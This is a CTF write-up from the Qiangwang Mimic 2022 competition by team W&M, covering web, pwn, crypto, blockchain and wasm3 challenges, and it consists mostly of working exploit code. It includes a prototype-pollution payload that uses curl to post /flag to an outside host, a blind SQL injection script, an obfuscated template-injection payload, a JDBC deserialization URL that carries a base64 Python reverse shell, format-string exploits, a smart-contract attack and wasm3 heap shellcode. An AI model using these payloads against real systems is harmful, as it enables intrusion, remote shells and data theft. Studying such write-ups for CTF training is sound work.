强网拟态 2022 By W&M

WriteUp 2年前 (2022) admin
1,385 0 0

WEB

WHOYOUARE

constructor.prototype原型链污染 argv0 $0

import json
import requests

url = "http://172.52.31.56:3000/user"


def req(payload):
    r = requests.post(url, json={
        "user": json.dumps({
            "command": ["-c", payload],
            "constructor": {
                "prototype": {
                    "argv0": "curl -d@/flag 10.92.85.14:2333"
                }
            }
        })
    })
    d = r.json()
    if d['status'] ==0:
        print(d['info'].removeprefix('User of guest : '))
    else:
        print(d)

req("env")
req("$0")

popsql

import requests
flag=''
for a in range(1,9999):
    print(a)
    for i in range(30,130):
        payload=("' or if((select STRCMP(hex(right((select (f1aG123) from Fl49ish3re),"+str(a)+")),'"+str(hex(i))[2:]+flag+"')),1,benchmark(9999999,md5('test')))#").replace(" ","/**/")
        try:
            #UPDATE `Fl49ish3re` SET `f1aG123` = ? WHERE `f1aG123` = ?
            #Fl49ish3re
            #users,Fl49ish3re
            r=requests.post(url="<http://172.52.31.84/index.php",data={"username":"admin","password>":payload},timeout=1)
            #print(r.text)
        except:
            flag=str(hex(i))[2:]+flag
            print(payload)
            print(flag)
            break

sys.x$statement_analysis读列名

没有人比我更懂PY

data={{()["__\\143\\154\\141\\163\\163__"]["__\\155\\162\\157__"][1]["__\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163__"]()[247]["__\\151\\156\\151\\164__"]["__\\147\\154\\157\\142\\141\\154\\163__"]["\\157\\163"]["\\160\\157\\160\\145\\156"]("\\143\\141\\164\\40\\57\\146\\154\\141\\147")["\\162\\145\\141\\144"]()}}

不允许有a-z。八进制绕过

easy_java

前面rogue mysql 把源码读下来

然后是个反序列化

url=jdbc:mysql://10.92.85.6:3306/test?%2561%2575%2574%256f%2544%2565%2573%2565%2572%2569%2561%256c%2569%257a%2565 =true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_Groovy1_bash -c {echo,cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7IHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pOyBzLmNvbm5lY3QoKCIxMC45Mi44NS42IiwxMzM3KSk7IG9zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7IHA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc=}|{base64,-d}|{bash,-i}

第一层用url编码绕过。第二层加个空格绕过

然后Groovy反序列化直接用

ezus

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:76:"php://filter/read=convert.base64-encode/try|pass/resource=/var/www/html/hint";s:4:"hint";s:67:"aaaa://localhost..@prankhub/../../../../../../../f1111444449999.txt";}}

反序列化逃逸。fastdestruct。

NoRCE

反序列化禁用了com.example.demo.bean.Connect和java.security.*

二次反序列化绕过

http://tttang.com/archive/1701/#toc_rmiconnector

二次反序列化。BadAttributeValueExpExceptionMyBean的tostring然后到``Connect触发jdbc

roguemysql netdoc列目录。读文件

import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException, IOException {
        Connect c = new Connect("jdbc:mysql://10.92.85.6:3306/jdbc?allowLoadLocalInfile=true&maxAllowedPacket=655360&allowUrlInLocalInfile=true", "", "");
        MyBean my = new MyBean("", "", c);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc, my);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  // 本体
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式,懂?
        objectOutputStream.writeObject(poc);
        objectOutputStream.close();
        String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());

        InputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        System.out.println(data);

    }
}
import com.example.demo.bean.Connect;
import com.example.demo.bean.MyBean;
import com.example.demo.utils.MyObjectInputStream;
import com.example.demo.utils.tools;

import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;

public class exp2 {
    public static void setField(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setField(jmxServiceURL, "urlPath", "/stub/rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAEnQAA2V4cHQACGV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAHGNvbS5leGFtcGxlLmRlbW8uYmVhbi5NeUJlYW4BFaoXHFZFKQIAA0wABGNvbm50ACZMamF2YXgvbWFuYWdlbWVudC9yZW1vdGUvSk1YQ29ubmVjdG9yO0wAB21lc3NhZ2VxAH4AAUwAA3VybHEAfgABeHBzcgAdY29tLmV4YW1wbGUuZGVtby5iZWFuLkNvbm5lY3RHjtzGNSsWrgIAA0wABG5hbWVxAH4ABUwACHBhc3N3b3JkcQB+AAVMAAN1cmxxAH4ABXhwdAAAcQB+ABt0AG5qZGJjOm15c3FsOi8vMTAuOTIuODUuNjozMzA2L2pkYmM/YWxsb3dMb2FkTG9jYWxJbmZpbGU9dHJ1ZSZtYXhBbGxvd2VkUGFja2V0PTY1NTM2MCZhbGxvd1VybEluTG9jYWxJbmZpbGU9dHJ1ZXEAfgAbcQB+ABs=");

        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        MyBean my = new MyBean("", "", rmiConnector);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
        Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
        val.setAccessible(true);
        val.set(poc, my);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  // 本体
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); // 只是一个装饰器的作用 Filter模式,懂?
        objectOutputStream.writeUTF("cb2a2fbd");
        objectOutputStream.writeObject(poc);
        objectOutputStream.close();
        String data = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        //byte[] bytes = tools.base64Decode(data);
        InputStream inputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new MyObjectInputStream(inputStream);
        String secret = data.substring(0, 6);
        String key = objectInputStream.readUTF();
        System.out.println(key);
        System.out.println(secret);
        System.out.println(data);
        if (key.hashCode() == secret.hashCode() && !secret.equals(key)) {
            objectInputStream.readObject();
            System.out.println("oops");
        } else {
            System.out.println("incorrect key");
        }
    }
强网拟态 2022 By W&M

MIMIC

pwn1

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
#sh = process('./pwn1-1')
sh = remote('172.52.31.74', 9999)

def choice(idx):
    sh.sendline(str(idx))

choice(1)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0x00000000000012A0
log.success("code_base:\\t" + hex(codebase))

#gdb.attach(sh, "b printf")

printf_got = codebase + 0x4028
system_plt = codebase + 0x1046
payload = fmtstr_payload(8, {printf_got: p64(system_plt)})
choice(2)
sh.sendafter("hello", payload)
sh.sendline("/bin/sh")
sh.interactive()

pwn1-1

from pwn import *
context.log_level = "debug"
context.arch = "amd64"
sh = process('./pwn1')
#sh = remote('172.52.31.20', 9999)

def choice(idx):
    sh.sendline(str(idx))

choice(1)
sh.recvuntil('0x')
codebase = int(sh.recvline(), 16) - 0xa94
log.success("code_base:\\t" + hex(codebase))

gdb.attach(sh, "b printf")

printf_got = codebase + 0x202038
system_plt = codebase + 0x876
payload = fmtstr_payload(8, {printf_got: p64(system_plt)})
choice(2)
sh.sendafter("hello", payload)
sh.sendline("/bin/sh")
sh.interactive()

pwn2-1

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./pwn2-1"

# context.timeout = 1

def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary

def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc

def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])

def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\\t'
        return_address = u64(sh.recvuntil('\\x7f')[-6:].ljust(8, '\\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address

def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""

def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()

def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
        libc = target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count = 0
    while try_count < 3:
        try_count += 1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            sh.close()
            if target is not None:
                sh = target.get_sh()
                target.sh = sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh = get_sh()
    flag = get_flag(sh)
    return flag

def choice(idx):
    sh.sendlineafter("choice :", str(idx))

def add(size, content):
    choice(1)
    sh.sendlineafter("size :", str(size))
    sh.sendafter("Content :", str(content))

def delete(idx):
    choice(2)
    sh.sendlineafter("Index :", str(idx))

def show(idx):
    choice(3)
    sh.sendlineafter("Index :", str(idx))

def pwn(sh, elf, libc):
    context.log_level = "debug"
    choice(5)
    sh.recvuntil('0x')
    codebase = int(sh.recvline(), 16) - 0x00000000000011F0
    magic = codebase + 0x0000000000001B70
    log.success("code_base:\\t" + hex(codebase))
    add(0x68, 'a' * 0x68)
    add(0x68, 'b' * 0x68)
    delete(0)
    delete(1)
    add(0x8, p64(magic))
    show(0)
    #gdb.attach(sh)
    #delete(0)

    sh.interactive()

if __name__ == "__main__":
    sh = get_sh()
    flag = Attack(elf=get_file(), libc=get_libc())
    sh.close()
    if flag != "":
        log.success('The flag is ' + re.search(r'flag{.+}', flag).group())

web_mimic

des一把索

强网拟态 2022 By W&M

Crypto

Vigenere

https://d33b4t0.com/Classical%20Cryptography/ DBT脚本一把梭

import gmpy2
f = open(r'cipher.txt','r')
c = f.read()
f.close()
best_index = 0.065
sum = 0
dic_index = {'a': 0.08167,'b': 0.01492,'c': 0.02782,'d':0.04253,'e': 0.12702,'f':0.02228,'g': 0.02015,'h':0.06094,'i':0.06966,'j':0.00153,'k':0.00772,'l':0.04025,'m':0.02406,'n':0.06749,'o':0.07507,'p':0.01929,'q':0.00095,'r':0.05987,'s':0.06327,'t':0.09056,'u':0.02758,'v':0.00978,'w':0.02360,'x':0.00150,'y':0.01974,'z':0.00074}

def IndCo(s):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    freq = {}
    for i in alpha:
        freq[i] = 0
    for i in s:
        freq[i] =  freq[i] + 1
    index = 0
    for i in alpha:
        index = index + (freq[i]*(freq[i] - 1 )) / (len(s) * (len(s) - 1 ))
    return index

def IndCo_m(s):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    freq = {}
    for i in alpha:
        freq[i] = 0
    for i in s:
        freq[i] += 1
    index = 0
    for i in alpha:
        index += freq[i] / len(s) * dic_index[i]
    return index

def get_keylen(c):
    keylen = []
    for i in range(1,100):
        average_index = 0
        for j in range(i):
            s = ''.join(c[j+i*x] for x in range(0,len(c)//i))
            index = IndCo(s)
            average_index+=index
        average_index = average_index/i - best_index
        if abs(average_index)<0.01:
            keylen.append(i)
    return keylen

keylen = get_keylen(c)
print("keylen", keylen)

def decrypt(c,i,j):
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    m = ''
    for x in c:
        m += alpha[((alpha.index(x)-j)*gmpy2.invert(i,26))%26]
    return m 

def get_key(c):
    for i in range(26):
        if gmpy2.gcd(i,26)!= 1 :
            continue
        for j in range(26):
            m = decrypt(c,i,j)
            index = IndCo_m(m)
            if abs(index-0.065)<0.01:
                return (i,j)

def get_all_key(s,keylen):
    for i in range(keylen):
        temps = ''.join([s[i+x*keylen] for x in range(0,len(s)//keylen)])
        print(get_key(temps))

get_all_key(c,keylen[0])

from Crypto.Cipher import AES

plaintext = ''
k1 = [3,15,17,7,5,5,19,19,3,15,1,23,5,11,25]
k2 = [18,25,20,12,3,16,14,15,6,0,9,18,10,7,12]
l1 = len(k1)
l2 = len(k2)
alpha='abcdefghijklmnopqrstuvwxyz'
for i in range(len(c)):
    plaintext+=alpha[((alpha.index(c[i])-k2[i%l2])*gmpy2.invert(k1[i%l1],26))%26]

print(plaintext)

from Crypto.Util.number import *
cipher = 0xe0365a1ed561342b57ce068008a20ce34e4d488e0b43954e7f638f85d36f416b07d1139bab9995ab3afd8d09f9ee0b91
cipher = long_to_bytes(cipher)

for i in range(len(plaintext)):
    key = plaintext[i:i+16]
    aes = AES.new(key.encode(), AES.MODE_ECB)
    flag = aes.decrypt(cipher)
    if b'flag' in flag:
        print(flag)
        print(key)
        break

weakrandom

爆破猜key就行

from tqdm import tqdm
from pwn import *
import hashlib

POST = '172.52.31.158'
# POST = '127.0.0.1'
HOST = 9998
r = remote(POST,HOST)
context.log_level = 'debug'

table = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
def passpow():
    rev = r.recvuntil("sha256(XXXX+")
    suffix = r.recv(16).decode()
    r.recvuntil(" == ")
    res = r.recv(64).decode()
    def f(x):
        hashresult = hashlib.sha256((x+suffix).encode()).hexdigest()
        if hashresult == res:
            return 1
        else:
            return 0
    prefix = util.iters.mbruteforce(f,table,4,'upto')
    r.recvuntil("XXXX:")
    r.sendline(str(prefix))

def talk(num):
    r.recvuntil("guess : ")
    r.sendline(str(num))

class WeakRandom:
    def __init__(self,seed,n,s):
        self.x = seed
        self.n = n
        self.s = s

    def next(self):
        x = int((self.x ** 2) // (10 ** (self.s // 2))) % self.n
        self.x = x
        high = (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1)
        low = x & (2 ** 16 - 1)
        result = high << 16 | low
        return result

passpow()
talk(0)
r.recvuntil("Fail! The number is ")
output = int(r.recvline(False))
low = output & (2 ** 16 - 1)
print(low, output)
n, s, x = 10000000000, 4, 0
for high in tqdm(range(0xffff+1)):
    x = high << 16 | low
    if (int(hashlib.sha256(str(x).encode()).hexdigest(),16) >> 16) & (2 ** 16 - 1) == output >> 16:
        print("Found!", x)
print("x:", x)
Q = WeakRandom(x,n,s)

for i in range(20):
    talk(Q.next())

r.interactive()

BLOCKCHAIN

ToBeEquel

nc第一步爆破

from pwn import *

def passpow():
    sh.recvuntil('sha256')
    s = sh.recv().decode('utf-8')
    print(s)
    prefix = re.split('\\(', s)[1][:8]
    while 1:
        answer = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(8))
        bits = bin(int(hashlib.sha256((prefix + answer).encode()).hexdigest(), 16))[2:]
        if bits.endswith('00000000000000000000'):
            print(answer)
            sh.sendline(answer)
            return

sh = remote('140.210.195.172', 10001)
passpow()
sh.interactive()

solidity合约源码

pragma solidity =0.6.12;
pragma experimental ABIEncoderV2;

contract ToBeEquel {
    address private owner;
    mapping(address => uint) public balances;
    uint private last_balance;
    event ForFlag(address addr);

    constructor() public {
        owner = msg.sender;
        balances[owner] = 500;
    }

    modifier onlyOwner {
        require(msg.sender == owner || msg.sender == address(this), "not authorized");
        _;
    }

    function CallTest(address to, string memory customFallback, bytes memory data) public {
        if (_isContract(to)) {
            (bool success,) = to.call{value: 0}(
                abi.encodeWithSignature(customFallback, msg.sender, data)
            );
            assert(success);
        }
    }

    function _isContract(address addr) internal view returns (bool) {
        uint length;
        assembly {
            length := extcodesize(addr)
        }
        return (length > 0);
    }

    function _Cal(uint value, uint amount) public onlyOwner {
        require(balances[tx.origin]<balances[owner]);
        require(balances[tx.origin]>=last_balance);
        balances[owner] -= uint(value & 0xff);
        balances[tx.origin] += amount;
        last_balance = balances[tx.origin];
    }

    function getFlag() external {
        require(balances[owner]==balances[msg.sender]);
        emit ForFlag(msg.sender);
    }   
}

要求balances[owner] == balances[msg.sender],可以修改两个值的地方是_Cal,而_Cal只有Owner可以调用。阅读代码发现可以用CallTest来调用。

由于CallTest中data的类型是bytes,所以内存结构如下。

feb6d173                -> function signature
address(msg.sender)     -> caller address
0x40                    -> data offset
0x20                    -> data size
data raw bytes          -> data

其中address通过爆破可控,data可控(但是没用),offset应该可控,但是不需要。也就是说可以控制_Cal里的value。

那么做两次调用,第一次 balances[origin] = 0 + 64, balance[owner] = 500 – 255 = 245,第二次第二次 balances[orginal] = 64 + 64 = 128, balance[owner] = 245 – 117 = 128。只需要生成两个账户,最低位分别为0xff和0x75即可。

from web3 import Web3, HTTPProvider
from ethereum import utils
import os, sys

# generate EOA with the ability to deploy contract with appendix 1b1b
# <https://hitcxy.com/2020/generate-address/>
def generate_eoa2(surfix):
    priv = utils.sha3(os.urandom(4096))
    addr = utils.checksum_encode(utils.privtoaddr(priv))

    while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith(surfix):
        priv = utils.sha3(os.urandom(4096))
        addr = utils.checksum_encode(utils.privtoaddr(priv))

    return addr, priv, utils.decode_addr(utils.mk_contract_address(addr, 0))

def hack(public, data, private, to=None):
    txn = {
        'from': Web3.toChecksumAddress(public),
        'to': Web3.toChecksumAddress(to),
        'chainId': 0x22b8,  # w3.eth.chainId,
        'gasPrice': w3.eth.gasPrice,
        'gas': 8000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'data': data,
    }
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    print("txn_hash=", txn_hash)
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print(txn_receipt)
    return txn_receipt

w3 = Web3(Web3.HTTPProvider("<http://140.210.195.172:8545>"))

public_wallet = "REDACTED"
private_wallet = "REDACTED"
contract = "0x70b3aC68bF86d10b6A4D47977B7002A065735253"

public_ff, priavte_ff, contract_ff = generate_eoa2("ff")
public_75, private_75, contract_75 = generate_eoa2("ff")

# Deploy Attack
'''
contract Exp {
    bytes public test;
    ToBeEquel other;
    constructor() public payable {
        other = ToBeEquel(address(0x70b3aC68bF86d10b6A4D47977B7002A065735253));
    }

    function trigger() public {
        other.CallTest(address(other), "_Cal(uint256,uint256)",bytes(abi.encode(0x1337)));
    }
}
'''

data = "0x60806040527370b3ac68bf86d10b6a4d47977b7002a065735253600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103e5806100686000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80637fec8d381461003b578063f8a8fd6d14610045575b600080fd5b610043610063565b005b61004d610137565b60405161005a91906102af565b60405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0f1d69c600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166113376040516020016100d791906102d1565b6040516020818303038152906040526040518363ffffffff1660e01b815260040161010392919061026c565b600060405180830381600087803b15801561011d57600080fd5b505af1158015610131573d6000803e3d6000fd5b50505050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156101cd5780601f106101a2576101008083540402835291602001916101cd565b820191906000526020600020905b8154815290600101906020018083116101b057829003601f168201915b505050505081565b6101de81610319565b82525050565b60006101ef826102ec565b6101f981856102f7565b935061020981856020860161036b565b6102128161039e565b840191505092915050565b61022681610359565b82525050565b6000610239601583610308565b91507f5f43616c2875696e743235362c75696e743235362900000000000000000000006000830152602082019050919050565b600060608201905061028160008301856101d5565b81810360208301526102928161022c565b905081810360408301526102a681846101e4565b90509392505050565b600060208201905081810360008301526102c981846101e4565b905092915050565b60006020820190506102e6600083018461021d565b92915050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061032482610339565b9050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103648261032b565b9050919050565b60005b8381101561038957808201518184015260208101905061036e565b83811115610398576000848401525b50505050565b6000601f19601f830116905091905056fea26469706673582212209de64f4e2c3f3a232d4deefbff97e3d9a406c7b4f95f87164da5ed3202782f6264736f6c634300060c0033"

print(hack(public=public_ff, data=data, private=priavte_ff, to=None))
print(hack(public=public_75, data=data, private=private_75, to=None))

# call trigger()
data = "0x7fec8d38"
hack(public=public_wallet, data=data, private=private_wallet, to=contract_ff)
hack(public=public_wallet, data=data, private=private_wallet, to=contract_75)

# call getflag()
data = "0xf9633930"
hack(public=public_wallet, data=data, private=private_wallet, to=contract)

PWN

slot_missing

编译过程

git clone <https://github.com/wasm3/wasm3.git>
cd wasm3
git checkout 9dcfce271c2fac86823725fc9ec0f75309d820e4
git apply patch.diff
mkdir build
cd build
cmake -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-z execstack" -DCMAKE_CXX_FLAGS="-z execstack" ..
make

值得注意的是开了 -z execstack,并且在 18.04 下,栈和堆都具有可执行权限,由于一直在 ubuntu 20.04 下调试,一直以为堆没有可执行权限,因此卡了很久?。

patch.diff

diff --git a/CMakeLists.txt b/CMakeLists.txt
index 2a4a8aa..b1cac8c 100755
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -186,6 +186,8 @@ endif()

 target_link_libraries(${OUT_FILE} m3)

+set(BUILD_WASI "none")
+
 if(BUILD_WASI MATCHES "simple")
   set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} -Dd_m3HasWASI")
 elseif(BUILD_WASI MATCHES "metawasi")
diff --git a/platforms/app/main.c b/platforms/app/main.c
index d4af4e4..0327153 100644
--- a/platforms/app/main.c
+++ b/platforms/app/main.c
@@ -71,7 +71,7 @@ M3Result link_all  (IM3Module module)
     res = m3_LinkSpecTest (module);
     if (res) return res;

-    res = m3_LinkLibC (module);
+    /*res = m3_LinkLibC (module);
     if (res) return res;

 #if defined(LINK_WASI)
@@ -92,7 +92,7 @@ M3Result link_all  (IM3Module module)
     }
     if (res == m3Err_functionLookupFailed) { res = NULL; }
 #endif
-
+    */
     return res;
 }

@@ -281,7 +281,8 @@ M3Result repl_call  (const char* name, int argc, const char* argv[])

         return result;
 #else
-        return "WASI not linked";
+        return m3_CallArgv(func, 0, NULL);
+        //return "WASI not linked";
 #endif
     }

diff --git a/source/m3_compile.c b/source/m3_compile.c
index 8a93330..006ddfa 100644
--- a/source/m3_compile.c
+++ b/source/m3_compile.c
@@ -1791,6 +1791,17 @@ _   (EmitSlotNumOfStackTopAndPop (o));
     _catch: return result;
 }

+static
+M3Result  Compile_Pwn  (IM3Compilation o, m3opcode_t i_opcode)
+{
+    M3Result result = m3Err_none;
+    IM3Operation op = op_Pwn;
+
+_   (EmitOp  (o, op));
+_   (EmitSlotNumOfStackTopAndPop (o));
+
+    _catch: return result;
+}

 static
 M3Result  ReadBlockType  (IM3Compilation o, IM3FuncType * o_blockType)
@@ -2539,7 +2550,7 @@ const M3OpInfo c_operationsFC [] =

     M3OP( "memory.copy",            0,  none,   d_emptyOpList,                           Compile_Memory_CopyFill ), // 0x0a
     M3OP( "memory.fill",            0,  none,   d_emptyOpList,                           Compile_Memory_CopyFill ), // 0x0b
-
+    M3OP( "wasm.pwn",               0,  none,   d_emptyOpList,                           Compile_Pwn ), //0x0c

 # ifdef DEBUG
     M3OP( "termination", 0, c_m3Type_unknown ) // for find_operation_info
diff --git a/source/m3_exec.h b/source/m3_exec.h
index 461ffaa..f21c0ee 100644
--- a/source/m3_exec.h
+++ b/source/m3_exec.h
@@ -742,6 +742,12 @@ d_m3Op  (MemFill)
     else d_outOfBoundsMemOp (destination, size);
 }

+d_m3Op  (Pwn)
+{
+    u32 *ptr = slot_ptr (u32);
+    printf("ptr=0x%lx\\n",ptr);
+    nextOp ();
+}

 // it's a debate: should the compilation be trigger be the caller or callee page.
 // it's a much easier to put it in the caller pager. if it's in the callee, either the entire page

项目:https://github.com/wasm3/wasm3.git,给一次执行任意 wasm 代码的权限

https://github.com/ha1vk/blackhat_wasm

#安装wat2wasm
sudo apt install wabt

漏洞点(CVE-2022-34529):https://github.com/wasm3/wasm3/issues/337

新增的功能 wasm.pwn 在 wat2wasm 源码里可以找到为 table.init(应该是 wasm3 没有实现完整),我们这边用 table.init 替代一下,然后搜索替换后缀数据为 NOP (01),使用新增功能 op_Pwn 结合这个漏洞可以做到 CALL PC_STACK 上的数据,但是 PC_STACK 一般是编译后各种 OP 的地址和参数的下标。

通过各种尝试可以找到 global.get 可以插入一个堆地址到 PC_STACK,插入的堆地址的数据可控(为全局变量数据),这样结合编译时的选项可以让程序到堆上执行 shellcode,但没找到创建连续数据的方式,这里用多个全局变量,然后之间用 JMP 串联来实现

EXP

import os
code = '''
(module
  (type (;0;) (func))  
  (global $test (;0;) (mut i64) (i64.const 0x28ebc031485e5041))
  (global $test2 (;0;) (mut i64) (i64.const 0x28ebd23148ff3148))
  (global $test3 (;0;) (mut i64) (i64.const 0x28eb909090c2ff48))
  (global $test4 (;0;) (mut i64) (i64.const 0x28eb050f10e2c148))

  (func $_start (type 0)
      (local i64 i64 i64 i64 i64 i64 i64 i64 i64 i64)

      f32.const 1.1
      f32.ceil
      table.init 0
      global.get $test
      global.set $test

  )
  (memory (;0;) 0x2)
  (export "_start" (func $_start))
)
'''

lines = code.split('\\n')
code = ''
for line in lines:
    if '//' not in line:
        code += line + '\\n'

os.remove("exp.wat")

with open('exp.wat', 'w') as f:
    f.write(code)
os.system('wat2wasm --enable-all --no-check exp.wat')

with open("exp.wasm", "rb") as f:
    wasm_data = f.read()
    wasm_data = wasm_data.replace(b'\\xfc\\x0c\\x00\\x00', b'\\xfc\\x0c\\x01\\x01')

with open("exp.wasm", "wb") as f:
    f.write(wasm_data)

生成 shellcode

